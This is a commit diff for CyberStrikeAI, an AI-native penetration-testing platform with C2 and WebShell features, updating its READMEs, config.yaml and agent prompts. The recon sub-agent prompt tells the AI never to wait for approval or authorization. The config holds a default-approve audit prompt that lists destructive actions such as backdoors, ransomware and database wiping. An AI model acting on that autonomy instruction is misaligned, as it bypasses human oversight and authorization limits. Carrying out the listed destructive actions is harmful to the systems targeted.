Update config.yaml

Increased the shell no output timeout from 300 seconds to 1200 seconds to prevent premature termination.

README.md

@@ -29,7 +29,6 @@ If CyberStrikeAI helps you, you can support the project via **WeChat Pay** or **
 
 CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, role-based testing with predefined security roles, a skills system with specialized testing skills, comprehensive lifecycle management capabilities, and a **built-in lightweight C2 (Command & Control) framework** for **authorized** engagements (listeners, encrypted implants, sessions, tasks, real-time events, REST and MCP). Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
 
-
 ## Interface & Integration Preview
 
 <div align="center">
@@ -113,13 +112,13 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
 - 🔒 Password-protected web UI, audit logs, and SQLite persistence
 - 📚 Knowledge base (RAG) with embedding-based vector retrieval (cosine similarity), optional **Eino Compose** indexing pipeline, and configurable post-retrieval budgets / reranking hooks
 - 📁 Conversation grouping with pinning, rename, and batch management
-- 📂 **Project management**: group conversations and vulnerabilities by project; **shared facts** (project blackboard) persist cross-session context (targets, env, auth notes) with auto-injection for agents and MCP tools (`upsert_project_fact`, `get_project_fact`, …)
+- 📂 **Project management**: shared facts (blackboard) across sessions, `upsert_project_fact` + `links` to chain paths; attack-chain and project fact graph views
 - 🛡️ Vulnerability management with CRUD operations, severity tracking, status workflow, and statistics
 - 📋 Batch task management: create task queues, add multiple tasks, and execute them sequentially
 - 🎭 Role-based testing: predefined security testing roles (Penetration Testing, CTF, Web App Scanning, etc.) with custom prompts and tool restrictions
-- 🧩 **Agent orchestration (CloudWeGo Eino)**: **single-agent** via **`/api/eino-agent/stream`** (Eino ADK `ChatModelAgent`); **multi-agent** via **`/api/multi-agent/stream`** with **`deep`** (coordinator + `task` sub-agents), **`plan_execute`**, or **`supervisor`** (`orchestration` in the request body). Markdown under `agents/`: `orchestrator.md`, `orchestrator-plan-execute.md`, `orchestrator-supervisor.md`, plus sub-agent `*.md` (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))
+- 🧩 **Agent orchestration (CloudWeGo Eino)**: **single-agent** via **`/api/eino-agent/stream`** (Eino ADK `ChatModelAgent`); **multi-agent** via **`/api/multi-agent/stream`** with **`deep`** (coordinator + `task` sub-agents), **`plan_execute`**, or **`supervisor`** (`orchestration` in the request body). ADK **summarization** compresses long contexts; pre-compaction **transcripts** land at `data/conversation_artifacts/<conversation-id>/summarization/transcript.txt` (full user/assistant/tool turns; static system omitted). Markdown under `agents/`: `orchestrator.md`, `orchestrator-plan-execute.md`, `orchestrator-supervisor.md`, plus sub-agent `*.md` (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))
 - 🖼️ **Vision analysis (`analyze_image`)**: separate VL model (e.g. `qwen-vl-max`) via MCP for local screenshots, captchas, and UI; image bytes stay out of agent history (text summaries only). Configure `vision` in `config.yaml`; see [docs/VISION.md](docs/VISION.md)
-- 🎯 **Skills (refactored for Eino)**: packs under `skills_dir` follow **Agent Skills** layout (`SKILL.md` + optional files); **multi-agent** sessions use the official Eino ADK **`skill`** tool for **progressive disclosure** (load by name), with optional **host filesystem / shell** via `multi_agent.eino_skills`; optional **`eino_middleware`** adds patchtoolcalls, tool_search, plantask, reduction, checkpoints, and Deep tuning—20+ sample domains (SQLi, XSS, API security, …) ship under `skills/`
+- 🎯 **Skills (refactored for Eino)**: packs under `skills_dir` follow **Agent Skills** layout (`SKILL.md` + optional files); **multi-agent** sessions use the official Eino ADK **`skill`** tool for **progressive disclosure** (load by name), with optional **host filesystem / shell** via `multi_agent.eino_skills`; optional **`eino_middleware`** adds patchtoolcalls, tool_search, **plantask** (`TaskCreate` / `TaskList` boards under `skills_dir/.eino/plantask/`), reduction, file **checkpoints** (`checkpoint_dir`), ChatModel **retries**, session **output key**, and Deep tuning—20+ sample domains (SQLi, XSS, API security, …) ship under `skills/`
 - 📱 **Chatbot**: DingTalk and Lark (Feishu) long-lived connections so you can talk to CyberStrikeAI from mobile (see [Robot / Chatbot guide](docs/robot_en.md) for setup and commands)
 - 🧑‍⚖️ **Human-in-the-loop (HITL)**: Chat sidebar to set approval mode and tool allowlists (listed tools skip approval); global list in `config.yaml` under `hitl.tool_whitelist`; **Apply** can merge new tools into the file and update the running server without restart; dedicated **HITL** page for pending approvals
 - 🐚 **WebShell management**: Add and manage WebShell connections (e.g. IceSword/AntSword compatible), use a virtual terminal for command execution, a built-in file manager for file operations, and an AI assistant tab that orchestrates tests and keeps per-connection conversation history; supports PHP, ASP, ASPX, JSP and custom shell types with configurable request method and command parameter.
@@ -190,15 +189,21 @@ The `run.sh` script will automatically:
      ```
    - Or edit `config.yaml` directly before launching
 2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`)
-3. **Install security tools (optional)** - Install all tools declared under `tools/`:
+3. **Install security tools (optional)** - Install tools from `tools/` as needed; missing tools are skipped or substituted at runtime. Common examples:
+
+   **macOS (Homebrew):**
    ```bash
-   ./install-tools.sh              # install missing tools (best on Kali/Debian/Ubuntu)
-   ./install-tools.sh --check      # check only, no install
-   ./install-tools.sh --list       # show per-tool status
-   ./install-tools.sh --only nmap,gau   # install selected tools only
+   brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
    ```
-   On macOS, install bash 4+ via Homebrew first; without apt, the script falls back to pip/go/GitHub.
-   AI automatically falls back to alternatives when a tool is missing.
+
+   **Linux (Kali / Debian / Ubuntu):**
+   ```bash
+   sudo apt update
+   sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
+   # On some distros, install ffuf/nuclei/subfinder via go install or upstream docs
+   ```
+
+   See the `tools/` directory for the full list; refer to each tool's official docs for install details.
 
 **Alternative Launch Methods:**
 ```bash
@@ -261,7 +266,7 @@ Requirements / tips:
 - **Predefined roles** – System includes 12+ predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, Binary Analysis, Cloud Security Audit, etc.) in the `roles/` directory.
 - **Custom prompts** – Each role can define a `user_prompt` that prepends to user messages, guiding the AI to adopt specialized testing methodologies and focus areas.
 - **Tool restrictions** – Roles can specify a `tools` list to limit available tools, ensuring focused testing workflows (e.g., CTF role restricts to CTF-specific utilities).
-- **Skills** – Skill packs live under `skills_dir` and load via the Eino ADK **`skill`** tool (**progressive disclosure**) in both **single- and multi-agent** sessions when **`multi_agent.eino_skills`** is enabled. Optional host **read_file / glob / grep / write / edit / execute** and **`eino_middleware`** (tool_search, reduction, checkpoints, etc.) apply per mode—see docs.
+- **Skills** – Skill packs live under `skills_dir` and load via the Eino ADK **`skill`** tool (**progressive disclosure**) in both **single- and multi-agent** sessions when **`multi_agent.eino_skills`** is enabled. Optional host **read_file / glob / grep / write / edit / execute** and **`eino_middleware`** (tool_search, plantask, reduction, checkpoints, summarization transcripts, etc.) apply per mode—see docs.
 - **Easy role creation** – Create custom roles by adding YAML files to the `roles/` directory. Each role defines `name`, `description`, `user_prompt`, `icon`, `tools`, and `enabled` fields.
 - **Web UI integration** – Select roles from a dropdown in the chat interface. Role selection affects both AI behavior and available tool suggestions.
 
@@ -289,6 +294,7 @@ Requirements / tips:
   - **Sub-agents** (for **deep** / **supervisor**): other `*.md` files (YAML front matter + body). Not used as **`task`** targets if marked orchestrator-only.
 - **Management** – Web UI: **Agents → Agent management**; API `/api/multi-agent/markdown-agents`.
 - **Config** – `multi_agent` in `config.yaml`: `enabled`, `robot_default_agent_mode`, `batch_use_multi_agent`, `max_iteration`, `plan_execute_loop_max_iterations`, per-mode orchestrator instruction fields, optional YAML `sub_agents` merged with disk (`id` clash → Markdown wins), **`eino_skills`**, **`eino_middleware`** (optional ADK middleware and Deep/Supervisor tuning).
+- **Resilience & long runs** – `checkpoint_dir` enables ADK **resume** after process crashes (distinct from trace-based “interrupt & continue”). `deep_model_retry_max_retries` retries transient LLM API failures within a single call. **Summarization** writes a filtered **transcript** when compression fires; the summary message includes the path so the model can `read_file` for scan output and other pre-compaction details.
 - **Details** – **[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)** (streaming, robots, batch, middleware caveats).
 
 ### Skills System (Agent Skills + Eino)
@@ -296,7 +302,7 @@ Requirements / tips:
 - **Runtime refactor** – **`skills_dir`** is the single root for packs. **Multi-agent** loads them through Eino’s official **`skill`** middleware (**progressive disclosure**: model calls `skill` with a pack **name** instead of receiving full SKILL text up front). Configure via **`multi_agent.eino_skills`**: `disable`, `filesystem_tools` (host read/glob/grep/write/edit/execute), `skill_tool_name`.
 - **Eino / RAG** – Packages are also split into `schema.Document` chunks for `FilesystemSkillsRetriever` (`skills.AsEinoRetriever()`) in **compose** graphs (e.g. knowledge/indexing pipelines).
 - **HTTP API** – `/api/skills` listing and `depth` (`summary` | `full`), `section`, and `resource_path` remain for the web UI and ops; **model-side** skill loading in multi-agent uses the **`skill`** tool, not MCP.
-- **Optional `eino_middleware`** – e.g. `tool_search` (dynamic MCP tool list), `patch_tool_calls`, `plantask` (structured tasks; persistence defaults under a subdirectory of `skills_dir`), `reduction`, `checkpoint_dir`, Deep output key / model retries / task-tool description prefix—see `config.yaml` and `internal/config/config.go`.
+- **Optional `eino_middleware`** – e.g. `tool_search` (dynamic MCP tool list), `patch_tool_calls`, **`plantask`** (Eino `TaskCreate` / `TaskGet` / `TaskUpdate` / `TaskList`; JSON under `skills_dir/.eino/plantask/<conversation-id>/`; Eino clears task files when **all** tasks are marked completed), `reduction`, **`checkpoint_dir`** (`data/eino-checkpoints/`), **`deep_model_retry_max_retries`**, **`deep_output_key`**, task-tool description prefix—see `config.yaml` and `internal/config/config.go`.
 - **Shipped demo** – `skills/cyberstrike-eino-demo/`; see `skills/README.md`.
 
 **Creating a skill:**
@@ -306,7 +312,7 @@ Requirements / tips:
 ### Tool Orchestration & Extensions
 - **YAML recipes** in `tools/*.yaml` describe commands, arguments, prompts, and metadata.
 - **Directory hot-reload** – pointing `security.tools_dir` to a folder is usually enough; inline definitions in `config.yaml` remain supported for quick experiments.
-- **Large-result pagination** – outputs beyond 200 KB are stored as artifacts retrievable through the `query_execution_result` tool with paging, filters, and regex search.
+- **Large tool outputs** – outputs beyond `reduction_max_length_for_trunc` are summarized via Eino reduction with full content persisted under `tmp/reduction/`; use `read_file` on the path in `<persisted-output>`.
 - **Result compression** – multi-megabyte logs can be summarized or losslessly compressed before persisting to keep SQLite lean.
 
 **Creating a custom tool (typical flow)**
@@ -544,7 +550,12 @@ multi_agent:
   orchestrator_instruction: ""  # Deep; used when orchestrator.md body is empty
   # orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor optional
   # eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill }
-  # eino_middleware: optional patch_tool_calls, tool_search, plantask, reduction, checkpoint_dir, ...
+  # eino_middleware: plantask_enable, checkpoint_dir, deep_model_retry_max_retries, deep_output_key, ...
+project:
+  enabled: true              # Enable project blackboard & fact MCP tools
+  fact_index_max_runes: 65000
+  fact_summary_max_runes: 24000
+  default_inject_deprecated: false
 ```
 
 ### Tool Definition Example (`tools/nmap.yaml`)

README_CN.md

@@ -28,7 +28,6 @@
 
 CyberStrikeAI 是一款 **AI 原生安全测试平台**，基于 Go 构建，集成了 100+ 安全工具、智能编排引擎、角色化测试与预设安全测试角色、Skills 技能系统与专业测试技能、完整的测试生命周期管理能力，以及面向 **授权场景** 的 **内置轻量 C2（Command & Control，指挥与控制）** 能力（监听器、加密通信、会话与任务、实时事件、REST 与 MCP 协同）。通过原生 MCP 协议与 AI 智能体，支持从对话指令到漏洞发现、攻击链分析、知识检索与结果可视化的全流程自动化，为安全团队提供可审计、可追溯、可协作的专业测试环境。
 
-
 ## 界面与集成预览
 
 <div align="center">
@@ -112,13 +111,13 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**，基于 Go 构建，集
 - 🔒 Web 登录保护、审计日志、SQLite 持久化
 - 📚 知识库（RAG）：向量嵌入与余弦相似度检索（与 Eino `retriever.Retriever` 语义一致），可选 **Eino Compose** 索引流水线及检索后处理（预算、重排等配置项）
 - 📁 对话分组管理：支持分组创建、置顶、重命名、删除等操作
-- 📂 **项目管理**：按项目归类对话与漏洞；**共享事实**（项目黑板）在多会话间沉淀目标/环境/认证等认知，自动注入 Agent 上下文，支持 MCP 工具读写（`upsert_project_fact`、`get_project_fact` 等）
+- 📂 **项目管理**：共享事实（黑板）跨会话沉淀认知，`upsert_project_fact` + `links` 串联攻击路径；聊天攻击链与项目事实图可视化
 - 🛡️ 漏洞管理功能：完整的漏洞 CRUD 操作，支持严重程度分级、状态流转、按对话/严重程度/状态过滤，以及统计看板
 - 📋 批量任务管理：创建任务队列，批量添加任务，依次顺序执行，支持任务编辑与状态跟踪
 - 🎭 角色化测试：预设安全测试角色（渗透测试、CTF、Web 应用扫描等），支持自定义提示词和工具限制
-- 🧩 **Agent 编排（CloudWeGo Eino）**：**单代理** `POST /api/eino-agent/stream`（Eino ADK）；**多代理** `POST /api/multi-agent/stream`，`orchestration` 选 **`deep`** / **`plan_execute`** / **`supervisor`**。`agents/` 下主代理与子代理 Markdown 见 [多代理说明](docs/MULTI_AGENT_EINO.md)
+- 🧩 **Agent 编排（CloudWeGo Eino）**：**单代理** `POST /api/eino-agent/stream`（Eino ADK）；**多代理** `POST /api/multi-agent/stream`，`orchestration` 选 **`deep`** / **`plan_execute`** / **`supervisor`**。ADK **Summarization** 在上下文过长时压缩历史；压缩前将可恢复 **转录** 写入 `data/conversation_artifacts/<会话ID>/summarization/transcript.txt`（保留完整 user/assistant/tool 轮次，省略静态 system）。`agents/` 下主代理与子代理 Markdown 见 [多代理说明](docs/MULTI_AGENT_EINO.md)
 - 🖼️ **视觉分析（`analyze_image`）**：独立 Vision 模型（如 `qwen-vl-max`），MCP 工具分析本地截图/验证码/UI；图片仅在单次 VL 调用中出现，对话上下文只保留文字摘要。配置见 `config.yaml` → `vision` 与 [视觉分析说明](docs/VISION.md)
-- 🎯 **Skills（面向 Eino 重构）**：技能包放在 **`skills_dir`**，遵循 **Agent Skills** 目录规范（`SKILL.md` + 可选文件）；**多代理** 下通过 Eino 官方 **`skill`** 工具 **渐进式披露**（按 name 加载）。**`multi_agent.eino_skills`** 控制是否启用、本机文件/Shell 工具、工具名覆盖；**`eino_middleware`** 可选 patch、tool_search、plantask、reduction、断点目录及 Deep 调参。20+ 领域示例仍可绑定角色
+- 🎯 **Skills（面向 Eino 重构）**：技能包放在 **`skills_dir`**，遵循 **Agent Skills** 目录规范（`SKILL.md` + 可选文件）；**多代理** 下通过 Eino 官方 **`skill`** 工具 **渐进式披露**（按 name 加载）。**`multi_agent.eino_skills`** 控制是否启用、本机文件/Shell 工具、工具名覆盖；**`eino_middleware`** 可选 patch、tool_search、**plantask**（`TaskCreate` / `TaskList` 任务板，落在 `skills_dir/.eino/plantask/`）、reduction、文件型 **checkpoint**（`checkpoint_dir`）、ChatModel **重试**、会话 **输出键** 及 Deep 调参。20+ 领域示例仍可绑定角色
 - 📱 **机器人**：支持钉钉、飞书长连接，在手机端与 CyberStrikeAI 对话（配置与命令详见 [机器人使用说明](docs/robot.md)）
 - 🧑‍⚖️ **人机协同（HITL）**：对话页侧栏配置协同模式与免审批工具白名单；全局列表在 `config.yaml` 的 `hitl.tool_whitelist`；点「应用」可将新增工具合并写入配置文件且**无需重启**即可生效；导航 **人机协同** 页处理待审批工具调用
 - 🐚 **WebShell 管理**：添加与管理 WebShell 连接（兼容冰蝎/蚁剑等），通过虚拟终端执行命令、内置文件管理进行文件操作，并提供按连接维度保存历史的 AI 助手标签页；支持 PHP/ASP/ASPX/JSP 及自定义类型，可配置请求方法与命令参数。
@@ -189,15 +188,21 @@ chmod +x run.sh && ./run.sh
      ```
    - 或启动前直接编辑 `config.yaml` 文件
 2. **登录系统** - 使用控制台显示的自动生成密码（或在 `config.yaml` 中设置 `auth.password`）
-3. **安装安全工具（可选）** - 一键安装 `tools/` 目录声明的全部工具：
+3. **安装安全工具（可选）** - 按需安装 `tools/` 目录中的工具；未安装的工具在执行时会自动跳过或改用替代方案。常用示例：
+
+   **macOS（Homebrew）：**
    ```bash
-   ./install-tools.sh              # 安装缺失工具 (Kali/Debian/Ubuntu 推荐)
-   ./install-tools.sh --check      # 仅检查, 不安装
-   ./install-tools.sh --list       # 列出各工具安装状态
-   ./install-tools.sh --only nmap,gau   # 只装指定工具
+   brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
    ```
-   macOS 自带 bash 3.2, 请用 `./install-tools.sh --install-bash --list` 自动安装 bash 4+; apt 不可用时会降级到 pip/go/GitHub。
-   未安装的工具在执行时会自动跳过或改用替代方案。
+
+   **Linux（Kali / Debian / Ubuntu）：**
+   ```bash
+   sudo apt update
+   sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
+   # 部分发行版需自行安装：ffuf、nuclei、subfinder 等可用 go install 或见各工具官网
+   ```
+
+   完整工具列表见 `tools/` 目录；各工具安装方式以官方文档为准。
 
 **其他启动方式：**
 ```bash
@@ -259,7 +264,7 @@ go build -o cyberstrike-ai cmd/server/main.go
 - **预设角色**：系统内置 12+ 个预设的安全测试角色（渗透测试、CTF、Web 应用扫描、API 安全测试、二进制分析、云安全审计等），位于 `roles/` 目录。
 - **自定义提示词**：每个角色可定义 `user_prompt`，会在用户消息前自动添加，引导 AI 采用特定的测试方法和关注重点。
 - **工具限制**：角色可指定 `tools` 列表，限制可用工具，实现聚焦的测试流程（如 CTF 角色限制为 CTF 专用工具）。
-- **Skills**：技能包位于 `skills_dir`；启用 **`multi_agent.eino_skills`** 后，**单代理与多代理**均可通过 Eino **`skill`** 工具按需加载。中间件与本机 read_file/glob/grep 等见文档。
+- **Skills**：技能包位于 `skills_dir`；启用 **`multi_agent.eino_skills`** 后，**单代理与多代理**均可通过 Eino **`skill`** 工具按需加载。可选 **`eino_middleware`**（tool_search、plantask、reduction、checkpoint、Summarization 转录等）与本机 read_file/glob/grep 等见文档。
 - **轻松创建角色**：通过在 `roles/` 目录添加 YAML 文件即可创建自定义角色。每个角色定义 `name`、`description`、`user_prompt`、`icon`、`tools`、`enabled` 字段。
 - **Web 界面集成**：在聊天界面通过下拉菜单选择角色。角色选择会影响 AI 行为和可用工具建议。
 
@@ -287,6 +292,7 @@ go build -o cyberstrike-ai cmd/server/main.go
   - **子代理**（**deep** / **supervisor**）：其余 `*.md`；标成 orchestrator 的不会进入 `task` 列表。
 - **界面管理**：**Agents → Agent 管理**；API `/api/multi-agent/markdown-agents`。
 - **配置项**：`multi_agent`：`enabled`、`robot_default_agent_mode`、`batch_use_multi_agent`、`max_iteration`、`plan_execute_loop_max_iterations`、各模式 orchestrator 指令字段、可选 YAML `sub_agents` 与目录合并（同 `id` → Markdown 优先）、**`eino_skills`**、**`eino_middleware`**。
+- **长任务与恢复**：`checkpoint_dir` 支持进程崩溃后 ADK **断点续跑**（与基于 trace 的「中断继续」不同）。`deep_model_retry_max_retries` 在同一次 LLM 调用内重试瞬时 API 失败。**Summarization** 触发压缩时会写入过滤后的 **transcript**，摘要消息中带路径，模型可用 `read_file` 找回扫描输出等压缩前细节。
 - **更多细节**：[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)（流式、机器人、批量、中间件差异）。
 
 ### Skills 技能系统（Agent Skills + Eino）
@@ -294,7 +300,7 @@ go build -o cyberstrike-ai cmd/server/main.go
 - **运行侧重构**：**`skills_dir`** 为技能包唯一根目录；**多代理** 通过 Eino 官方 **`skill`** 中间件做 **渐进式披露**（模型按 **name** 调用 `skill`，而非一次性注入全文）。由 **`multi_agent.eino_skills`** 控制：`disable`、`filesystem_tools`（本机读写与 Shell）、`skill_tool_name`。
 - **Eino / 知识流水线**：技能包可切分为 `schema.Document`，供 `FilesystemSkillsRetriever`（`skills.AsEinoRetriever()`）在 **compose** 图（如索引/编排）中使用。
 - **HTTP 管理**：`/api/skills` 列表与 `depth=summary|full`、`section`、`resource_path` 等仍用于 Web 与运维；**模型侧** 多代理走 **`skill`** 工具，而非 MCP。
-- **可选 `eino_middleware`**：如 `tool_search`（动态工具列表）、`patch_tool_calls`、`plantask`（结构化任务；默认落在 `skills_dir` 下子目录）、`reduction`、`checkpoint_dir`、Deep 输出键 / 模型重试 / task 描述前缀等，见 `config.yaml` 与 `internal/config/config.go`。
+- **可选 `eino_middleware`**：如 `tool_search`（动态工具列表）、`patch_tool_calls`、**`plantask`**（Eino `TaskCreate` / `TaskGet` / `TaskUpdate` / `TaskList`；JSON 存于 `skills_dir/.eino/plantask/<会话ID>/`；**全部**任务标为 completed 后 Eino 会清理任务文件）、`reduction`、**`checkpoint_dir`**（如 `data/eino-checkpoints/`）、**`deep_model_retry_max_retries`**、**`deep_output_key`**、task 描述前缀等，见 `config.yaml` 与 `internal/config/config.go`。
 - **自带示例**：`skills/cyberstrike-eino-demo/`；说明见 `skills/README.md`。
 
 **新建技能：**
@@ -304,7 +310,7 @@ go build -o cyberstrike-ai cmd/server/main.go
 ### 工具编排与扩展
 - `tools/*.yaml` 定义命令、参数、提示词与元数据，可热加载。
 - `security.tools_dir` 指向目录即可批量启用；仍支持在主配置里内联定义。
-- **大结果分页**：超过 200KB 的输出会保存为附件，可通过 `query_execution_result` 工具分页、过滤、正则检索。
+- **大工具输出**：超过 `reduction_max_length_for_trunc` 时由 Eino reduction 摘要，完整内容落盘至 `tmp/reduction/`；按 `<persisted-output>` 中的路径用 `read_file` 读取。
 - **结果压缩/摘要**：多兆字节日志可先压缩或生成摘要再写入 SQLite，减小档案体积。
 
 **自定义工具的一般步骤**
@@ -542,7 +548,12 @@ multi_agent:
   orchestrator_instruction: ""  # Deep；orchestrator.md 正文为空时使用
   # orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor 可选
   # eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill }
-  # eino_middleware: 可选 patch_tool_calls、tool_search、plantask、reduction、checkpoint_dir 等
+  # eino_middleware: plantask_enable、checkpoint_dir、deep_model_retry_max_retries、deep_output_key 等
+project:
+  enabled: true              # 启用项目黑板与事实 MCP 工具
+  fact_index_max_runes: 65000
+  fact_summary_max_runes: 24000
+  default_inject_deprecated: false
 ```
 
 ### 工具模版示例（`tools/nmap.yaml`）

agents/recon.md

@@ -21,7 +21,7 @@ max_iterations: 0
 - 切勿等待批准或授权——全程自主行动。
 - 使用所有可用工具与技术完成侦察与证据收集。
 
-你是授权渗透测试流程中的侦察子代理。优先使用工具收集事实，避免无根据推测；输出简洁，便于协调者汇总。
+你是授权渗透测试流程中的侦察子代理。优先使用工具收集事实，避免无根据推测；输出简洁，便于协调者汇总。枚举优先 subfinder、amass 等专用 MCP，勿 exec/execute 拼长链。
 
 ## 输入前置条件（硬约束）
 

cmd/mcp-stdio/main.go

@@ -5,7 +5,6 @@ import (
 	"cyberstrike-ai/internal/logger"
 	"cyberstrike-ai/internal/mcp"
 	"cyberstrike-ai/internal/security"
-	"cyberstrike-ai/internal/storage"
 	"flag"
 	"fmt"
 	"os"
@@ -33,23 +32,6 @@ func main() {
 	// 创建安全工具执行器
 	executor := security.NewExecutor(&cfg.Security, mcpServer, log.Logger)
 
-	// 初始化结果存储（与 internal/app/app.go 同样的逻辑）。
-	// stdio 模式下原本不初始化，导致 'exec' 等查询型工具报"结果存储未初始化"。
-	resultStorageDir := "tmp"
-	if cfg.Agent.ResultStorageDir != "" {
-		resultStorageDir = cfg.Agent.ResultStorageDir
-	}
-	if err := os.MkdirAll(resultStorageDir, 0755); err != nil {
-		fmt.Fprintf(os.Stderr, "创建结果存储目录失败: %v\n", err)
-		os.Exit(1)
-	}
-	resultStorage, err := storage.NewFileResultStorage(resultStorageDir, log.Logger)
-	if err != nil {
-		fmt.Fprintf(os.Stderr, "初始化结果存储失败: %v\n", err)
-		os.Exit(1)
-	}
-	executor.SetResultStorage(resultStorage)
-
 	// 注册工具
 	executor.RegisterTools(mcpServer)
 
@@ -61,4 +43,3 @@ func main() {
 		os.Exit(1)
 	}
 }
-

config.yaml

@@ -10,7 +10,7 @@
 # ============================================
 
 # 前端显示的版本号（可选，不填则显示默认版本）
-version: "v1.6.34"
+version: "v1.6.48"
 # 服务器配置
 server:
   host: 0.0.0.0 # 监听地址，0.0.0.0 表示监听所有网络接口
@@ -40,6 +40,9 @@ audit:
   retention_days: 15 # 0 表示不自动清理
   max_detail_bytes: 8192
   auth_failure_cooldown_seconds: 60 # 同一 IP 登录/改密失败审计最短间隔（秒）；未配置时默认 60；-1 关闭节流
+# MCP 状态监控执行记录保留（tool_executions 表）
+monitor:
+  retention_days: 90 # 省略时默认 90；0 表示不自动清理
 # ============================================
 # 对话相关配置
 # ============================================
@@ -58,7 +61,7 @@ openai:
   api_key: sk-xxxxxxx # API 密钥（必填）
   model: qwen3-max # 模型名称（必填）
   max_total_tokens: 120000 # LLM 相关上下文的最大 Token 数限制（内存压缩和攻击链构建会共用此配置）
-  # Eino 路径模型推理：DeepSeek/OpenAI 为 thinking / reasoning_effort 等；provider 为 claude 时合并为 Anthropic 顶层 thinking（extended thinking），mode: off 关闭
+  # Eino 路径模型推理：DeepSeek/OpenAI 为 thinking / reasoning_effort；Claude 4.6+ 为 adaptive + output_config.effort（仅显式配置 effort 时下发）；3.7 为 enabled+budget_tokens:10000（文档示例），effort 不映射，自定义预算用 extra_request_fields
   reasoning:
     mode: on # auto | on | off；off 时不附加任何推理扩展字段
     effort: high # low | medium | high | max | xhigh（最高档：OpenAI 常用 xhigh，部分网关用 max，原样下发）；空表示不指定
@@ -92,16 +95,76 @@ fofa:
 # 达到最大迭代次数时，AI 会自动总结测试结果
 agent:
   max_iterations: 12000 # 全局最大迭代次数（单代理 / Deep / Supervisor / Plan-Execute 主执行器 / 子代理均沿用；agents/*.md 中 max_iterations>0 可单独覆盖）
-  large_result_threshold: 102400 # 大结果阈值（字节），默认50KB，超过此大小会自动保存到存储
-  result_storage_dir: tmp # 结果存储目录，大结果会保存在此目录下
   tool_timeout_minutes: 60 # 单次工具执行最大时长（分钟），超时自动终止；0 表示不限制（不推荐，易出现长时间挂起）
+  shell_no_output_timeout_seconds: 1200 # execute/exec 连续无新输出则终止（秒）；通用防挂死；0=默认300；-1=关闭
+  workspace_root_dir: "" # 会话工作目录根路径（curl/wget 下载、read_file/glob/grep 本地分析）；空=tmp/workspace，其下按 projects/{id} 或 conversations/{id} 隔离；勿用系统 /tmp
   # system_prompt_path: prompts/single-agent.md # 可选：单代理系统提示文件（相对本配置文件所在目录）；非空且可读时替换内置提示
 
   system_prompt_path: ""
 # 人机协同（HITL）全局白名单：此处列出的工具始终免审批，与对话页「白名单工具（免审批，逗号分隔）」合并为并集；侧栏「应用」可合并写入本列表并立即生效。
+# 非白名单工具在审批方=审计 Agent 时，按会话 HITL 模式选用提示词：
+#   approval → audit_agent_prompt
+#   review_edit → audit_agent_prompt_review_edit（可改参后放行）
 hitl:
+  # 已决策审计日志保留天数（与 MCP 监控一致；省略默认 90；0 表示不自动清理）
+  retention_days: 90
   # 按你环境里的真实工具名增删（与侧栏一致、小写不敏感）；不需要全局免审批可改为 []
-  tool_whitelist: [read_file, list_dir, glob, grep]
+  tool_whitelist: [read_file, list_dir, glob, grep, tool_search]
+  # audit_agent_prompt: |  # 审批模式；留空使用内置默认，可在「人机协同」页编辑
+  # audit_agent_prompt_review_edit: |  # 审查编辑模式；留空使用内置默认
+
+  audit_agent_prompt: |-
+    你是 CyberStrikeAI 人机协同审计 Agent。审查 Agent 即将执行的工具调用是否会对系统造成实质性损害。
+
+    你会收到 JSON，包含 hitlMode、toolName、arguments/argumentsObj、userMessage、thinking、reasoningChain、planning 等字段。
+
+    裁决基调（默认放行）：
+    - 常规、低风险的渗透测试操作 → approve（如信息收集、端口/服务扫描、目录枚举、只读查询、无害探测命令）
+    - 与用户授权、当前任务目标一致，且未见明确高危迹象 → approve
+    - 仅在「可能对系统造成实质影响」时 → reject
+
+    必须 reject 的高危情形（示例，非穷举）：
+    - 删库、清表、批量删除数据、格式化磁盘、不可逆破坏
+    - 修改/重置密码、创建或篡改管理员账号、持久化后门、开机自启
+    - 向生产环境写入恶意载荷、勒索加密、停止关键服务、修改系统核心配置
+    - 明显越权：与任务/授权目标无关的破坏性操作
+
+    不应单独作为 reject 理由的情形：
+    - 常规 nmap/curl/grep/读文件/枚举类命令本身
+    - 参数略显宽泛但无明确破坏意图
+    - 仅因「信息不足」——若无上述高危迹象，应 approve 并可在 comment 中提示注意点
+
+    仅输出一行 JSON，不要 markdown 代码块：
+    {"decision":"approve"|"reject","comment":"简要理由"}
+  audit_agent_prompt_review_edit: |-
+    你是 CyberStrikeAI 人机协同审计 Agent。审查 Agent 即将执行的工具调用是否会对系统造成实质性损害。
+
+    你会收到 JSON，包含 hitlMode、toolName、arguments/argumentsObj、userMessage、thinking、reasoningChain、planning 等字段。
+
+    裁决基调（默认放行）：
+    - 常规、低风险的渗透测试操作 → approve（如信息收集、端口/服务扫描、目录枚举、只读查询、无害探测命令）
+    - 与用户授权、当前任务目标一致，且未见明确高危迹象 → approve
+    - 仅在「可能对系统造成实质影响」时 → reject；参数可安全收窄时优先 approve + editedArguments
+
+    必须 reject 的高危情形（示例，非穷举）：
+    - 删库、清表、批量删除数据、格式化磁盘、不可逆破坏
+    - 修改/重置密码、创建或篡改管理员账号、持久化后门、开机自启
+    - 向生产环境写入恶意载荷、勒索加密、停止关键服务、修改系统核心配置
+    - 明显越权：与任务/授权目标无关的破坏性操作
+
+    不应单独作为 reject 理由的情形：
+    - 常规 nmap/curl/grep/读文件/枚举类命令本身
